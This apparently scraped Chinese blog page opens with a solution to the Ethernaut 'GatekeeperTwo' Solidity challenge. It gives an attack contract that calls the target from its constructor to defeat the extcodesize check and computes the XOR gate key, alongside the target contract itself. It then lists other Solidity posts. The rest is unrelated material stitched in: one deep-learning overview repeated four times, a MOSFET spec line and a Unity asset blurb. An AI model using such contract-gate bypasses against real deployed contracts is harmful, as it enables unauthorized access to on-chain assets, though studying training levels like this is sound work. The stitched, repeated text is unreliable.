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extcodesize取出的byte code长度,若长度大于0就表示是合约发出的,等于0还不一定是EOA地址,因为在合约的构造函数发出,其byte code尚未初始化,仍为0
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; contract GatekeeperTwoAttack { constructor(address addr,address addr2){ //构造函数 attack(addr, addr2); } function attack(address addr,address addr2) public returns(bool){ //require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); bytes8 _gateKey = ~(bytes8(keccak256(abi.encodePacked(address(this)))) & 0xFFFFFFFFFFFFFFFF) ; bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); console.logBytes8(_gateKey); console.log("key:"); console.logBytes8(_key); (bool success, bytes memory data) = addr.call( abi.encodeWithSignature("enter(bytes8)", _gateKey) ); if(success){ console.log("succ"); } return true; } } contract GatekeeperTwo { address public entrant; modifier gateOne() { console.log("gateOne start"); require(msg.sender != tx.origin); console.log("gateOne succ"); _; } modifier gateTwo() { console.log("gateTwo start"); uint x; //如果调用者是合约的构造函数中,则runtime的byte code尚未存储,x仍会是0 assembly { x := extcodesize(caller()) } console.log("x:",x); require(x == 0); console.log("gateTwo succ"); _; } modifier gateThree(bytes8 _gateKey) { console.log("gateThree start"); console.logBytes8(bytes8(keccak256(abi.encodePacked(msg.sender)))); console.logBytes8(_gateKey); console.logUint(uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))^ uint64(_gateKey)); console.logUint(type(uint64).max); console.logBool(type(uint64).max==(uint64(0) - 1)); require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); console.log("gateThree succ"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { console.log("enter"); entrant = tx.origin; return true; } }
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TypeError:ethers_1.getAddress
2024-04-29 10:45 70package.json 添加:"@nomicfou ... -
solidity
2023-02-25 14:23 12一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 11一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 171一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
Address
2023-02-23 10:54 5// contracts/Box.sol // SPDX ... -
Address
2023-02-23 10:50 136// contracts/Box.sol // SPDX ... -
Beacon
2023-02-20 11:45 154Beacon a.Implementation地址并不存放在P ... -
UUPS
2023-02-17 16:16 186a.Proxy直接把所有的请求都通过delegatecall丢 ... -
Transparent
2023-02-16 15:44 147Transparent: a.如果Proxy合约发现自己被Pr ... -
string转bytes
2023-02-16 11:04 214const data = Buffer.from(''); ... -
hardhat命令
2023-02-13 09:58 2611.前置准备,运行一个新项目 mkdir my-project ... -
multicall
2023-01-31 20:11 193multicall的solidity调用与ethers.js调 ... -
检查是否是721
2023-01-31 15:18 116// SPDX-License-Identifier: M ... -
EVM操作码
2023-01-25 10:33 2482.栈和内存操作码 2.1 POP:取出栈顶元素 2.2 PU ... -
计算合约地址
2023-01-19 11:27 203EVM会根据发送者地址和nonce经过RLP编码后再进行kec ... -
标准修饰符
2023-01-18 17:03 1201.internal:类似c++中的protected,通过J ... -
ABI编码函数
2023-01-17 10:40 2501. abi.encode()returns(bytes):对 ... -
数据位置
2023-01-17 10:24 1351.函数参数包括返回的参数默认是memory 2.局部变量默认 ... -
随机数
2023-01-17 10:06 137https://www.paradigm.xyz/2023/0 ... -
Elevator
2023-01-13 10:48 133Elevator.sol // SPDX-License- ...
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深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
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深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
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±20V;7 /-4.5A;RDS(ON)=20 / 70mΩ@VGS=4.5V;VGS=20V;Vth=0.71 / -0.81V
深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
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深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
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JU TPS 3 是一个专为 Unity 引擎设计的第三人称射击游戏开发套件,它包含了丰富的功能和高度优化的组件,可以帮助开发者节省大量时间,专注于创造独特的游戏体验。 【特点】 1.丰富的游戏元素:JU TPS 3 提供了多种预制的游戏元素,包括角色、武器、车辆和物理效果,这些都是构建第三人称射击游戏的关键部分。 2.优化的性能:套件中的所有资源都经过优化,确保在各种硬件平台上都能流畅运行。 3.易于定制:开发者可以根据自己的需求,轻松定制游戏的外观和行为。 4.物理效果:套件包含了先进的物理效果,使得游戏的交互更加真实和有趣。 使用 JU TPS 3,开发者可以快速开始游戏项目的开发。套件中的资源和工具可以帮助开发者构建游戏世界、角色控制、AI 行为和其他游戏机制。此外,JU TPS 3 还提供了详细的文档和教程,帮助开发者更好地理解和使用套件中的功能。 JU TPS 3 是一个强大的第三人称射击游戏开发套件,它为 Unity 开发者提供了一个快速、高效且功能丰富的平台,以创建引人入胜的游戏体验。无论是独立开发者还是游戏开发团队,JU TPS 3 都是一个值得考虑的选择。